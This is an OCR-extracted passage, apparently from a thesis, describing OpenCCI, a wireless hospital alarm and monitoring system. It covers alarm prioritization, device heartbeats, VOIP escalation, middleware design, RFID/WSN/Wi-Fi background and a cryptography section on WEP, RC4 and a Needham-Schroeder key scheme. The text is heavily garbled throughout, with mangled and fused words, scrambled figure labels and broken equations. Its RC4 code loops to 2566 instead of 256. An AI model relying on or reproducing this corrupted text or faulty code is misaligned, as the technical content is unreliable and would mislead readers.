¢;. At step 603, server 101 analyzes the alarm data packageetomdee a vital sign alarm
type, and in step 604, assigns a type priority value (TP\pading to the identified vital
sign alarm type (for example, cardio, ventilator or oxinetkarm). At step 605, server
101 sorts the alarm data packages according to the valube obefficients;, and at step
606, sorts the alarm data packages according to the typetpnalues TPVi and places
the sorted alarm data packages in a buffer. The server 1d% asaalarm data package
of highest priority from the buffer at step 607, generatesalanm notification at step 608,
and removes the alarm data package just read from the bufftem 609. At step 610,
the server 101 determines whether the buffer is empty, andtjfreturns to step 607 to
read a next alarm data message. If the buffer is empty, thersEd1 terminates that alarm

prioritization process 600 at step 611.
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3.6 System Health

The device status messages indicate the status and health of each essential device and
module in the system. The device status messages are pidpsed on system health
monitoring activities undertaken by various componentthefsystem. For example, each

of the wireless interface devices may preferably be cordiguo periodically transmit a
heartbeat signal to the server while the wireless intertimace is in an idle state with
reference to the server in order to confirm the health of threless interface device. If

no heartbeat has been received for a given device, the gexferms a diagnosis to deter-
mine an associated alarm condition. Device status messagesay then be prepared by
the server to indicate the status of each of the wirelessfatie devices, including alarm

condition as warranted.

Figure (3.6.1) illustrates an exemplary process 700 by lttie health of various devices
may be monitored by the server 101. The process is initistdae server 101 at step 701,
and then proceeds to step 702, at which the server 101 cleangent status record for
each device in the system in order to begin the process afdieti@g the current health of

these devices.

Concurrently, the process is initiated in the various deviat step 703, and then proceeds
to step 704, at which each device determines whether or hasiaiccess to the server 101
at step 704. If no access is available, at step 705, the dgeicerates a local alert (for
example, audio and/or visual alarms discernible at thec#¢\d instigate an appropriate
service event. If the device determines that access to thie $81 is available, the device
generates a status data package at step 706 and transegatkage to the server at step
707. After generating the local alert at step 705 or genagdtie device status package at

step 706, the device sets a sleep timer at step 708 to paugmtiess for a predetermined
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time period (for example, 5 seconds), and then returns ppé to determine whether or

not it has access to the server 101.

At step 709, the server 101 receives the transmitted stataspdickage, adds a time stamp
to the received status data package and stores the receigkage. At step 710, the server
101 determines whether a status data package has beeretefrem each device having
a time stamp with no greater than a predetermined age (fangbea 10 seconds). At
step 711, for any device for which the current status dat&agpe time stamp exceeds
the predetermined age, the server 101 issues a device dexted alert to instigate an
appropriate service event. After the time stamp age of thestdata packages for each
device has been determined, the process returns to step ¢@at a current status record

for each device and await the arrival of new status data peeskikom each of the devices.

Additional health monitoring activities may also prefdsabe undertaken within the sys-
tem. For example, the nurse’s station may preferably beguai@d to periodically transmit
a heartbeat signal to the server while the wireless interflvice is in an idle state with
reference to the server in order to confirm the health of theeisistation. In addition, the
server may also be configured to periodically transmit atheat signal to one or more of
the nurse’s station or the wireless devices, while the sésva an idle state with reference

to the nurse’s station in order to confirm the health of theerer

3.7 Alarm Escalation

The server also includes an alarm escalation rules baseeterndining a delivery and
escalation procedure for patient and device alarms. Fanpba a rule set for a current

patient may provide that an alarm condition is initially ogfed via a display of the nurse’s
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station and via visual and aural alarms located in proxitatthe patient’s hospital room.
If the alarm is not acknowledged at the nurse’s station withipredetermined period of
time, the rules may preferably provide an escalation proeedthat forwards the alarm
to a personal communication device of an attending n(imeexample, by creating an
associated text-based alarm message and converting thi® tgxeech for transmission via

a Voice over IP (VOIP) interface of the server to the attegdiarse’s cell phone)

Figure (3.7.1) illustrates an exemplary process 700 by lwtiie escalation of alarms may
be enacted by the server 101. At step 801, the server 101sogirprocess of providing
a patient alarm notification. At step 802, the server 1011y determining a device
ID for the device that indicated the alarm, and determineatampt physical location by

retrieving stored device physical location informatioe@ding to the device ID.

The association of a patient monitoring device with a laratnay be accomplished, for
example, by two different methods. In a first ("automated8thod, location may be de-
termined by triangulating a radio frequency signal recgi@eseveral antennas distributed
with the territory served by an associated access poiny mdalizing the signal according
to signal strength at the access point. In a second "manugttioa, medical staff manually
admit the patient and the device location information tosptal location record recorded
through the Nurse Station Terminal 151. This associatitrimnation is stored in the Data

Layer, specifically in an underlying database system witthis layer.

Based on the identified patient information, the server H&hiifies and activates visual
and audio alarms in proximity to the patient at steps 803 &dd i&spectively. At step 805,
the server 101 identifies the nurse station 107 with primaeggnt responsibility for the
patient at the identified physical location, and announcealarm at the identified nurse

station 107(for example, using a text-based alarm message converteattto-speech for
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reproduction at the nurse station 107)

Next, the server 101 proceeds to generate and deliver atarpatient caregivers who may
not be in physical proximity to the patient. At step 806, teever 101 retrieves a listing 807
of VOIP alarm recipients associated with the patient atdleaiified physical location. The
listing 807 may be developed and maintained, for examplspuase Station Terminal 151
by the medical staff. In particular, staff members may asgdedndividual alarm recipients
to the patient, and/or may maintain a current location alegaipients list default listing

for each location.

The listing 807 preferably identifies each of the VOIP alaetipients in association with
an escalation level. For example, a level 1 escalation e} identify recipients des-
ignated to receive an alarm for the patient at the identifiegsjzal location immediately
upon its generation, a level 2 escalation may identify iecs designated to receive an
alarm for the patient at the identified physical location wi® acknowledgement of a

response to the alarm has been received from any level lieatipnd so on.

At steps 808 and 809, the server begins by transmitting a \@@lRo each of the level 1
recipients that provides a text-to-speech translatioh@&larm. This is preferably accom-
plished via a conventional soft phone module and the texpé@sh conversion module of

the server. The speech conversion module converts staed &xt to speech.

The soft phone module receives the converted speech, imputedays the speech to the
other end of each established VOIP call. Some suitable comahgroducts for imple-
menting the soft phone module include SKYPE, XTEN, EYEBEAMIaUITALK. At
step 810, the server determines whether or not each traedMOIP call has been suc-
cessfully established and whether each recipient has at&dged the alarm message. If

not, at step 811, the server 101 determines whether thentueneel is a top most level
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(i.e., afinal escalation level providing no further esdala), and if so, specifically records
the VOIP alarm notification event as an improper staff respdio alarm notification at
step 812. If additional escalation levels are available,srver proceeds at step 813 to a
next level of escalation and returns to step 809. At step B8idserver determines when
each of the alarm notification threads (i.e., local visua andio alarms, and VOIP alarms)
have completed, and concludes the process at step 815., theaterver preferably initi-
ates an additional "last resort” escalation leffet example, by sending e-mail to a staffed

emergency station)
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Figure 3.3.10penCCIMmuilti layer design.
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Figure 3.4.1Remote Translation Devices.
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Figure 3.5.1Vital-Sign priority flow chart.

601 _ [| =i 600

o
Vil Sign Monitor

Transfer protocal and data structure to
6 O 2 standard language using PTA module

) [Each package contain a coefficient value G;

based cn alarm severity]

Switch based on

ey Oyimetar Alarm
vitel sign type

Cardia Alarm:

Ventilaior Alarm

6 0 4 Augment Augment Augmant
Type Priorlky Type Priorlty L R R ] Type Priarlty
Valua TPV, Value TPV, Valua TPV,

6 0 5 Sort Sort Sort
C Alarm Data Packages Alarm Data Packages Alarm Data Packages

based on coefficient based on coefficient based on coefficient
values G values G values
Sorl
Alarm Data Packages

based on TPY values 6 0 6
6 O 8 Send Mlarm e Read top Alarm Data
Notification Package from buffer 6 0 7

60 9 Remove top Alarm Data
% Package from buffer




38

Figure 3.6.10penCCIMSystem Health.

7 O 3 Start for each
device in
system

705

local alert to Mo

706

701

Start for system
health monitoring
of server

Clear device
status racord
for each
dewioe in
system

l

Yes
¥
Generale Device Status
Package

Store Davice
Status
Packape with
tirme stamp

stamp within
past 10

Send davice
disconnacied
alart

700




39

Figure 3.7.1Alarm escalation flow chart.
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CHAPTER 4

SYSTEM MODULES

This chapter highlights some key modules in the Oped®@ystem. Many of the mod-
ules are essential, and represent key enabling techneblgleout which the overall system
will not be able to achieve its objectives. Figure (4.0.1a isinctional schematics which

serves to structure the exposition of this chapter.

Figure 4.0.10penCCIMsystem modules.
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In Section (4.1), we present the contribution of the UnigePsotocol Translation Adapter;
Section (4.2) highlights the operation of Wireless VitajisMonitoring. This is followed
by a description of the Caregiver Notification module in 8t(4.3). The dynamic con-
figuration of the system modules is discussed in Sectior).(fh4ection (4.5) we describe
some candidate wireless transports that are supportegtromment the links between the

central server, the Wireless Vital Sign Monitoring moduhel dhe Caregiver Notification
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module. In Section (4.6), we describe the Cryptographic Medhat provides the frame-
work for securing these transport channels. The formadinaif the entire functional dia-

gram is given in Section (4.7).

4.1 Universal Protocol Translation Adapter

Background

The monitoring and management of patients in an intensirewait is a complex process.
Frequently, decisions regarding the best option for thedllag of an alarm need to be
made in a short period of time. Enhancing the performanceitical care unit will rely

on the interconnection between the variety of monitoringaks, to be able to consolidate
and centralize the information and the decision makingsThinot currently achievable,

due to the incompatibility between heterogeneous devig®pols and data representation.

Contribution

A key feature of the OpenCE/ system is the universal protocol translation adai#€¥TA)
The UPTA is a proprietary and patent-pending contributibthe author. It is the core
block in the Remote Translation Devices described in Sedo4) and shown in Figure
(3.4.1). The UPTA interfaces with the alarm output port of@itoring device of interest,
and serves to convert the equipment protocol to a propyi¢t#?AA compliant encoding
over a wireless protocol. In this way, different equipmeatv different manufacturers can

be unified under a single wireless and remote alarm mongaystem.
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Each vital sign monitoring device that is to be made rematenageable under OpenCCl,
needs to have a UPTA. It makes sense then, to develop each lBfBAce in accordance
with the device to which it will be assigned. This makes thee@pCl system backward-
compatible with a wide range of equipment, as is ideal in otd@accommodate the hospi-

tal's existing inventory.

There is a well-defined set of prioritized critical care nmoring devices, and the author
is developing a UPTA instance (i.e. a library of protocots) éach of the devices on this
list. This practice is not invasive and does not require s€de device internals. Rather,
it is enough to use data from the external data port of thepegent being adapted. The
list of supported devices will expand as new equipment agpaad OpenCCl gains wider

adoption.

4.2 Wireless Vital Sign Monitoring

Background

The system utilizes different wireless platforms for alatata consolidation. The wireless
platform module is designed to abstract the nature of theulyidg transport technology,
allowing it to be RFID, WSN or Wi-Fi, and isolating the choiitem the other application
layers; in other words, higher layers in the system are no¢xddent on a particular wireless

infrastructure.
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Contribution

In fulfillment of the design objective [Item 4] in Section 22- the wireless vital sign mon-
itoring platform, and the library of protocols that comgrithe UPTA, together enable a
hospital to convert existing critical care equipment froiffedent manufacturers to a best-
practices wireless alarm monitoring system of ventilgtifsision pumps, pulse oximeters
and cardio monitors, etc. Later, other newer equipment eaimdorporated into the sys-
tem without significant difficulties. In use, alarms are ntored at a secure, web-based
remote monitoring portal. This may include a conventioraltcal monitoring unit at the
nursing station but preferably the nurses will wear an assigsmart phone that monitors
their specifically assigned patient/beds. In this mannasetime is not wasted watching
the central station, and nurse mobility and nurse proditgtare both increased. As well,
MDs can remotely monitor alarms as needed by personal phbme.system has a con-
tinuous audit function, which tracks all issues, uses amisusWireless communication
implies mobility. RFID tags and distributed wireless ascpsints(WAP)are used to en-
able hospital-wide tracking and monitoring, with immediatarms for lost communication

signals for any reason.

4.3 Caregiver Notification and Alerts

In fulfillment of the design objective [Item 6] in Section 22 The server applies vital
sign rules resident in the server to determine whether sitals data collection is active,
and if so, whether the vital signs of any patient indicate lama condition. The rules for
determining an alarm condition may further depend on a pe&eent indicator indicating
a patient’s current condition. For example, the rules magpsend indicating a vital sign

alarm for a predetermined period of time if the patient evadicator indicates that the
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patient is undergoing a surgical procedure.

The device status messages' are prepared as a result of system health monitoring activ-
ities undertaken by various components of the system. Fample, each of the wireless
interface devices may be configured to periodically traharhieartbeat signal to the server
while the wireless interface device is in an idle state watterence to the server in order to
confirm the health of the wireless interface device. If nortiesat has been received for a
given device, the server performs a diagnosis to deternmiressociated alarm condition.
Device status messagésS may then be prepared by the server to indicate the status of

each of the wireless interface devices, including alarndit@ns, as warranted.

Additional health monitoring actions may also be undemakéthin the system. For ex-
ample, the nurse station may be configured to periodicadigsimit a heartbeat signal to
the server while the wireless interface device is in an itHeeswith reference to the server,
in order to confirm the health of the nurse station. In additine server may also be
configured to periodically transmit a heartbeat signal te onmore of the nurse stations,
while the server is in an idle state with reference to the egtation, in order to confirm

the health of the server.

The server also includes an alarm escalation rule base ferndiming a delivery and es-
calation procedure for patient and device alarms. The aémralation logical flow chart
is defined in Section (3.7). For example, a rule set for a atpatient may provide that
an alarm condition is initially reported via a display on thgrse station and via visual
and aural alarms located in proximity to the patient’s htdpoom. If the alarm is not
acknowledged at the nurse station within a predetermineidgef time, the rules may
provide an escalation procedure that forwards the alarmpirsonal communication de-

vice of an attending nurse (for example, by creating an astsattext-based alarm message



45

and converting the text to speech for transmission via aévoier IP (VOIP) interface of

the server to the attending nurse’s cell phone).

4.4 Dynamic Middleware Configuration

In fulfillment of the design objective [Item 3] in Section 2. The middleware code fol-
lows a set of design patterns, and extensive usage of gatiah of dynamic configuration
components. The XML configuration files were utilized for dymc load of system assem-
blies and dynamic reflection for most of the modules. Dynacoicfiguration combined
with the abstract factory pattern provided a way to encatewd group of individual facto-
ries that have a common interfaceg Figure (4.0.1)like the UPTA, the Mobile Notifica-

tion Devices, the Vitalsign Presentation Module, and tharaloted Database Foundation.

In this design, the application layer creates a concretéementation of the abstract fac-
tory and then uses the generic interfaces to create theetenabjects that are part of the
OpenCCIMsystem. The application layer does not know (not sensitiye/hich concrete
objects it gets from each of these internal factories sihasds only the generic interfaces
of their products, representing the dynamic modules andooments. In software devel-
opment terms, a Factory is the location in the code at whighatbare constructed. The
intent in employing the pattern is to insulate the creatibalygects from their usage. This
allows for new derived types to be introduced with no chaogeé¢ code that uses the base
class. Which allow us to develop a library of UPTA moduleshwiit changing the code

that uses the UPTA modules.

An example of this would be an abstract factory clédiselessDeviceCreatothat pro-

vides interfaces to create a number of products @eaateWirelessMonitoringDeviceghd
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createWirelessNotificationDevicg()The system would have any number of derived con-
crete versions of thevirelessDeviceCreataslass likeWifiDeviceCreatoor RFIDDevice-
Creator, each with a different implementation ofeateWirelessMonitoringDevice@nd
createWirelessNotificationDevicdfjat would create a corresponding object Neeless-
MonitoringDeviceor WirelessNotificationDevicdeach of these products is derived from a
simple abstract class likdonitoringDeviceor NotificationDeviceof which the application
layer is aware. The application layer code would get an gppate instantiation of the
DeviceCreatorand call its factory methods. Each of the resulting objeasld/be created
from the samdeviceCreatorimplementation and would share a common interface. The
application layer would need to know how to handle only theti@ztMonitoringDeviceor

NotificationDeviceclass, not the specific version that it got from the concratéofy.

4.5 Wireless Transport

Based on Section (2.2) design objectives [ltems 4, 6] thenO#' supports interfacing
with a variety of wireless transport systems. The followsagtions provide definitions for

the most common systems.

45.1 RFID

Radio Frequency ldentification (RFID) is grouped under tteal category of Automatic
Identification Technologies. Identity transponders (0GEArepresent the main component
in the system; each transponder has a unique identificatiorbar. Since the retrieval of
the unique (ID) is done by wireless communication (Radiogeesncy) the name of the

system became RFID. RFID dates back to the 1940’s when thislBAir force used RFID-
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like technology in World War 11 to distinguish between eneamd friendly aircrafts. The
theory of RFID was first explained in 1948 in a conference papétled Communication
by Means of Reflected Power [46]. The first patent for RFID waslfboy Charles Walton
in 1973 [49]. By the mid-1980s, RFID development shiftedprove performance, cost,
size rather than new applications. RFID does not operatespedific dedicated frequency.
Its operating frequency varies among the frequency ban@1800MHz, LF, MF, VHF,

UHF, microwave).

Programmability of the tag varies, deferent types of mesherg available to write the tag
ID, or to augment additional data to the tag ID, like name rassland SSN depends on the

application of the RFID system. The following is a list of grammability types:

e WORM (write once, read many times) usually at manufactuiesallation
e Direct Contact or RF (re-programmable 10,000 10,000-15tb0es)

e Full Read/Write ( Identronix had some 64 kB prototypes by4)98

4.5.1.1 RFID Basic Components

An RFID system is composed of three core components, thegdoater, the interrogator
and the middleware. An enterprise RFID system may includéiadal components, soft-
ware layers and data repositories. Some RFID transpondeich@p-less tag that doesn't
depend on a silicon microchip. Some chipless tags use @lasttonductive polymers
instead of silicon-based microchips. Other chipless tagsmaterials that reflect back a

portion of the radio waves beamed at them.

Transponder The transponder, commonly referred to as the Tag, condistsnicrochip,
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Figure 4.5.1RFID system components.
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a power source and an antenna. Passive tags utilize thd signent generated on
the antenna as a source of power, while active tags use abasta source of power.
RFID tags include memory that can be read-only, read-woitegoth. The size of

the tag depends on the size of the antenna, which depends @ret¢juency and the

range of the tag.

Interrogator The RFID interrogator is tightly coupled to the type of RFiarisponders
in use. The interrogator (RFID Reader) uses the tag frequincommunicate with

the tag and facilitates reading and writing.

Middleware The middleware is the interface needed between the RFIDragator and

the application, which collects the data and processesough the solution and
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Tag Frequency Tag Type Approximate

Range Transmission Rates Cost
Low Passive <1lm 1-2kb/s $0.2 - $1.0
High Passive / Active 1.5m 10 - 20 kb/s $1-$10
Ultra High Active 10-100m 40-120kb/s $10 - $30

Table 4.5.1: Active and Passive tags range, transmissieraral cost.

Figure 4.5.2(a) WSN system components. (b) Sunspot WSN node.

N 1I.-.'.m!‘. Node . ANATOMY OF A

} S SuNSPOT

SUNRDOF

SENSOR
BOARD

PROCESSOR e

L_'_.I BOARD

& BATTERY

(@) (b)

business logic.

45.2 WSN

A Wireless Sensor Network (WSN) is a wireless network cdimgof spatially distributed
autonomous devices using sensors to cooperatively maguhiaical or environmental con-
ditions such as temperature, sound, vibration, pressusépmor pollutants, at different

locations. The historical development of sensor nodessdagek to 1998 in Smartdust

project.
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More generally, wireless ad hoc networks are a decentchlideeless network. The net-
work is considered ad hoc if each node is willing to forwardadfor other nodes, and
the determination of how nodes forward data is made dyndiyicased on the network

connectivity. WSN programming languages include:

DCL (Distributed Compositional Language)
o C++

nesC, C

Protothreads

SNACK

SQTL

o JAVA

4.5.2.1 WSN Basic Components

A WSN system is composed of a set of sensor nodes, conductagadquisition through
built in sensors, together with a gateway node or a basestathnere sensor data is con-
solidated, and relayed to a server or a workstation. Most@emdes would be composed

of the following parts:

e Processor Board
e Battery

e Sensor Board
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e Mobility Enclosure [optional]

4.5.3 Wi-Fi Technology

Wi-Fi, is the common name for the wireless local area netimgrB02.11x family of Ether-
net standards. Wi-Fi LANs operate using unlicensed specinithe 2.4 GHz band. Wi-Fi
supports up to 11Mbps data rates within 100 meter of the agum@at. Power consumption
is fairly high due to reach requirements for Wi-Fi applioats, especially when compared
to Bluetooth and ZigBee. The high power consumption of Wirakes battery life a con-
cern for mobile devices. Bluetooth support wireless peabarea network applications,
which require a much shorter propagation rarg®m and lead to lower power consump-
tion. ZigBee technology provide longer range in-comparism Bluetooth, but at much

lower data rates.

4.6 Cryptographic Module

The cryptographic module is essential for the implementatif secure communication
channels highlighted in Figure (4.0.1), and for fulfillmeritthe design objective [Iltem 7]
in Section (2.2).

One of the biggest issues in the healthcare system desigatisftsecurity and privacy vio-
lation. Violations take many forms, including leaking pmral data, financial information,
medical information or by defeating an anti-abduction egsbased on RFID and leaving
the facility with a newborn child. Addressing the securiggues in wireless and RFID

technology is essential to provide secure patient care3&011].
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In context with healthcare and patient information privahg Health Insurance Portability
and Accountability Act (HIPAA) of 1996 applies to health anfnation created or main-
tained by health care providers who engage in certain elaictiransactions, health plans,
and health care clearinghouses. The Department of HealttHaman Services (DHHS)
has issued the regulation “Standards for Privacy of Indiaity Identifiable Health Infor-
mation” that is applicable to entities covered by HIPAA. Tdi#ce for Civil Rights (OCR)
is the Departmental component responsible for implemgraimd enforcing the privacy
regulation. The Privacy Rule took effect on April 14, 2003thna one-year extension
for certain “small plans”. It establishes regulations toe tise and disclosure of Protected
Health Information (PHI)— any information about healthts$a provision of health care,
or payment for health care that can be linked to an individddlis is interpreted rather

broadly and includes any part of a patient’s medical recopbgyment history.

A breach of a person’s health privacy can have significanficagons well beyond the
physical health of that person, including the loss of a jdilenation of family and friends,
the loss of health insurance, and public humiliation. Thenaer to these concerns is not
for consumers to withdraw from society and the health castesy, but for society to
establish a clear national legal framework for privacy. BglBng out what is and what is
not an allowable use of a person’s identifiable health infdrom, such standards can help
to restore and preserve trust in the healthcare system anddlviduals and institutions

that comprise that system [17].

Recent research efforts showed vulnerabilities in the diesteration RFID enabled credit
cards. This study observes that the card holder’s nameif caed number, and expiration
date are leaked in plaintext to unauthenticated readerememade device costing around
$150 is capable of effectively cloning skimmed cards [22hother study described the

success in defeating the security of an aspect of RFID dekicewn as a Digital Signature
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Transponder (DST). This device is manufactured by Texasuments, used for SpeedPass
payment and automobile ignition keys [10]. In the authovisi@ublication “Vulnerabil-
ities of RFID Systems in Infant Abduction Protection andi€at\Wander Prevention”, it
demonstrated effective penetration attacks which werelwcted in a healthcare facility
relying on RFID security system to prevent infant abductod patient wander. The study
showed that real limitations, weaknesses and vulnerasiléxisted in the currently used

technology, as it is being applied in various hospitals [42]

4.6.1 Background on Cryptography

Cryptography is the science of writing in secret code andhiarecient art. The first doc-
umented use of cryptography in writing dates back to cirdd01B.C. when an Egyptian
scribe used non- standard hieroglyphs in an inscriptionT8 origin of the word "cipher’
comes from the Arabic word sifr = 0 (Figure 4.6.1), a metapfbor(zero) no knowledge
or hidden knowledge. Around 8th century a page of Al-Kindiianuscript on deciphering
cryptographic messages, containing the oldest known iggiser of cryptanalysis by fre-

guency analysis [4].

Figure 4.6.1The Arabic origin of the word cipher.
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By World War I, mechanical and electromechanical ciphechiges were in wide use. It
was then where the famous enigma machine was invented. Th&970s saw some major

public advances. One of which was the publication of thetddata Encryption Standard
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(DES) [16], which was enhanced with the Advanced EncrypBtandard (AES) [13]. And

currently many new innovative developments are publish&@uantum Cryptography [2].

4.6.2 Types of encryption schemes

Before proceeding to the types of encryption schemes, wseptesome important terms:
Authentication. The process of proving one’s identity.
Data Secrecy Ensuring that no one can read the message except the idtesuizgver.

Integrity . Assuring the receiver that the received message has notliteeed in any way

from the original.

Non-repudiation. A mechanism to prove that the sender really sent this megaathen-

ticate the message to its sender)

4.6.2.1 Secret Key Encryption

In symmetric or secret key encryption there is a unique kdyiclvboth parties, Alice
and Bob must somehow arrange to share and ensure that oglkribes the secret key.
Symmetric key cryptography was the only kind of cryptosgsi&ior to 1976. The main
problem with secret-key cryptosystems is getting the seadd receiver to agree on the
secret key without anyone else finding out. One of the typastatks that can be attempted
against secret key cryptosystems is a chosen-plaintext@tOne measures the security of

the schema against this type of attack, in terms of the fafigwlefinition:
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A secret key encryption scheni&nc, Dec) is said to be secure against chosen-plaintext
attacks if for all messages, ms and all Probabilistic Polynomial Time (PPT) adversaries

A, the difference between the following two quantities isliggigle:

Pr [/{; — {0,137 APk (17 Bney, (my)) = 1]

Pr [k 0,1} : ABnk (17 Bney. (mo)) = 1]

The assertion being made is that a Probabilistic Polynoiimaé adversary cannot distin-
guish between the encryption ofl, m2 even if the adversary is given unlimited access to

an encryption oracle [26].

Stream ciphers are symmetric ciphers that encrypt the sstailhit of data usually a single
bit, byte or word. Alternatively, block ciphers, anothep&yof symmetric ciphers, encrypt
a larger block of data, where the plaintext get portioned p#ckages and each package is

encrypted as a whole block with the block cipher.

4.6.2.2 Public-Key Encryption

Asymmetric or public key encryption is a scheme where eaehhis 2 keys, a secret key
to decrypt and a public key that anybody can use to send etechypessages. In some
cases like the RSA scheme, encrypt and decrypt are compsied tihe same function,

and only the keys are different.

A public-key encryption scheme is a triple of PPT algorithiign, Enc, Dec) that:
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1: The key generation algorithien takes as input a security parametérand outputs
a public keypk and a secret keyk.

2: The encryption algorithniinc takes as input a public keyk and a message: and
outputs a cipher-text We write this as:

¢ « Encyy, (m) (4.1)

3: The deterministic decryption algorithiec takes as input a secret ke} and a ci-
phertextc and outputs a message We write this as:

m = Decg. (¢) (4.2)

{It is required thatvn, all (pk, sk) output by Gen (1") , Vm, and Ve output by
Encyy, (m), we haveDecy. (c) = m [26].}

4.6.2.3 Digital Signatures

Digital signature schemes allow a sigrnemwho has established a public ke¥ to sign
a message in such a way that any other party who kngw@nd knows that this public
key was established hby) can verify that this message originated fréhand has not been

modified in any way [26].

Associating a person or an entity with a public key to verifgitl signature, is done
through a trusted 3rd party certification authority (CA) wdigns the user’s public encryp-
tion key. The resulting certificate will contain, e.g., us@ame/ID, user’s public key; CAs
name; certificate’s start date, and length of time it is vallthen the user publishes his

public certificate in X.509 format [31].

4.6.2.4 Hash Functions

Hash functions are also called message digests. Hashthalgsriare typically used to

provide a digital fingerprint of a file’'s contents, and areenftised to ensure that the file
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has not been altered by an intruder or virus. Formally, alfah@sh functions indexed by
a keys is a two input function that takesas the first parameter andas a string parameter
and returns a string/*(x) = H(s, z) [26]. For a randomly generatedt is a hard to find
a collision in H, where a collision in a functio#/ is a pair of distinct inputs: andy such

that 4 (z) = H (y) [26].

4.6.2.5 WEP protocol

This section will present the algorithms used in the WEP quolt In Section (13.1) We
presented a WEP key retrieval attack inside a healthcarditiagvhich facilitate the retrieval of

confidential patient information.

The WEP protocol purpose was to increase the security leveWi-Fi devices, and it
was included in the 802.11 standard as a Wired Equivalena&ri(WEP) [28]. WEP
provided confidentiality by encrypting the data, in additio checksums for transmitted
packets. WEP Encryption utilizes a secret k&y,,,, shared between the access pgint
and a wireless node,. The WEP frame is constructed using a packet K&y, ,, the
packet key consists of a per-packet 24-bit initializatiestor /V which is concatenated as
a prefix to the secret key,,,- The plaintext frame datd/ I is a concatenation between

the messag@/ with its checksunz(M). Then,

MF = M + ¢ (M) (4.4)
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C = MF @ RC4 (PKyy,) (4.5)

The cipher message is thus the exclusive-or between theageefsme and the output of

the RC4 cipher with the packet key as a parameter.

WEPprgme = 1V +C (4.6)

RC4 was designed by Ron Rivest of RSA Security in 1987. Whiig officially termed
“Rivest Cipher 4”, the RC acronym is alternatively undeostdo stand for “Ron’s Code”.
RC4 stream of bits (a keystream) which, for encryption, isbmed with the plaintext
using bit-wise exclusive-or; decryption is performed theng way based on the symmetry
properties of exclusive-or. To generate the keystreamcifileer makes use of a secret

internal state which consists of two parts:

1. A permutation of all 256 possible bytes (denotenh code)

2. Two 8-bit index-pointers (denotédnd; in code)

The permutation is initialized with a variable length kepitally between 40 and 256 bits,
using the key-scheduling algorithm (KSA). Once this hasnbe@mpleted, the stream of

bits is generated using the pseudo-random generationthigoPRGA).

unsigned char S[256];

unsigned int i, j;

void swap(unsigned char *s, unsigned int i, unsigned int j)

{

unsigned char temp = s[il;

s[il = s[j1;




s[j] = temp;

/* KSA x/
void rc4_init (unsigned char xkey, unsigned int key_length)
{
for (i = 0; i < 256; i++)
S[i] = 1i;
for (i = j = 0; i < 2566; i++) {
j = (j + keyl[i % key_length] + S[i]) & 255;

swap(S, i, j);

}
i=3j=0;
}
/* PRGA x/

unsigned char rc4_output ()

{

i (i + 1) & 255;

j = (j + S[il) & 255;
swap(S, i, j);
return S[(S[i] + S[jl) & 255];

59
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Figure [4.6.2] shows how the IV are included in plaintext gsefix in the wireless frame.
When a wireless node receives the encrypted packet, itottitze unencrypted 1V and ap-
pends it with the preprogrammed secret K€y, ,, and decrypts the message by XOR’ing

this keystream with the encrypted portion of the packet.

Figure 4.6.2Encryption of a wireless frame in WEP.

Initialization Secret Key Plaintext
Vector
Initialization S K Integrity
] ecret Ke
Vector y Check Value
RC4 l—
Key Stream Plaintext Check-
Sum
17
Cipher text
v Cipher text

4.6.3 Modifying the symmetric key protocol running on WSN

The modification that was considered changed the symmedgidrkplementations run-

ning on the Wireless Sensor Network (WSN) in on the SUNSPQtivkare. These nodes
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represent a remarkable platform for developing firmwareira,Jhaving sufficient compu-
tational and storage resources. Unfortunately, when itesoto implementing symmetric
key cryptographic protocols, the nodes are vulnerablepogixg the secret key by reading
the contents of the node memory by attaching the node to astaiitain via USB port. The
modification presented here enforces a methodology toaeplee symmetric key with a
new active one, without distributing the new key wirelesle begin with the foundation

of the approach, which is the classical Needham-Schroedevqol.

4.6.3.1 Needham-Schroeder symmetric protocol
The exposition concerns two wireless sensor nodes, Ngdeitiates the communication
to Nodew;. In addition, p is a server base station trusted by both parti€g,, is a

symmetric key known only tayy andp, Ky, » is a symmetric key known only te; andp,

Ny, and Ny, are nonces. The protocol [36] can be specified as follows:

U)O — p : w07w17 Nw() (47)

Nodewy sends a message to the server identifying itself @apdtelling the server she

wants to communicate witla .

P — wo - {N’LU07 Kw0w1 , W1, {ngwl ) wO}lep}Kwop (48)

The server generatés,, ., and sends back to, a copy encrypted undéfty,, for wy to

forward tow;, and also a copy farg. Sincewy may be requesting keys for several different
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nodes, the nonce assuregthat the message is fresh and that the server is replyingto th

particular message and the inclusiongftells wy who to share this key with.

wy — wi {Kw0w17w0}Kw1p (4.9)

Nodew forwards the key tav; which can decrypt it with the key it shares with the server,

thus authenticating the data.

w; — wy : {Nwl }Kwowl (4.10)

Nodew; sendsw, a nonce encrypted undéf,,,.,, to show that it has the key.

wy — wy : {Nwy — 1}Kw0w1 (4.11)

Nodew performs a simple operation on the nonce, re-encrypts isands it back verify-

ing that it is still alive and that it holds the key.

wy — w1 : { Ny, DA}KwOw1 (4.12)

Nodew( acquires patient vital sighy ¢ from wq, by sending a data acquisition command.

w1, — wg - {Nwl’ PVS}Kwowl (413)



63

Node w; responds by sending the patient vital siffpg to wg, as a reply to the data

acquisition command.

Unfortunately, the protocol as described above is vulderaba replay attack. If an at-
tacker uses an older compromised value 1., , they can then replay the message
{Kwowl’wO}lep to wy, who will accept it, being unable to tell that the key is natsin.
This flaw is fixed in the Kerberos protocol by the inclusion dfrae-stamp. We will refer

to this version of the protocol as theschema.

4.6.3.2 Attacking the system

Let us assume that nodg has been compromised and moved back to the network, leading
to the exposure of’y,,,. An attacking nodevs which can intercept the transmitted mes-
sage defined in step (4.8), so nodg can decrypt the message usifig,,,, and retrieve
Kuwgyw, - It follows that if nodew, intercepts the transmission defined in step (4.13), then

nodews may decrypt the message usihg,,.,, and retrieve the patient vital sign data

Pyg.

4.6.3.3 First Enhancementl

The enhancement proposed takes advantage of the fact thegless node will require a
battery charge to keep it operating. At that time, the semkreassign a nevwaOp[tH]
and disposé(wop[t]. Heret represents the current epoch, and1 is the following epoch.

This leads to the modification of step (4.8), which is now feel as follows:
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p — wg : {Nw(); Kw0w1 , W1, {Kwowl’wo}Kwop}Kwop[t+l] (414)
Now, when nodev, intercepts the transmission in step (4.14),will be unable to decrypt
the message usin@wop[t] and hence be unable to accdsg.,. We will refer to this

version of the protocol as tHg; schema.

There is still an (albeit slimmer) window of vulnerabilitifthe attacker compromises node
wy fast enough before disposing the current kﬁyop[t], then nodeavy will once again be
able to decrypt the message and retridug,,,,. This is addressed in the next iterative

refinement.

4.6.3.4 Second Enhanceménmnt

Through the life cycle of the key the message encryption belldone using a mutated
version of the key. The mutated version of the key is a periautaf the key string, fol-
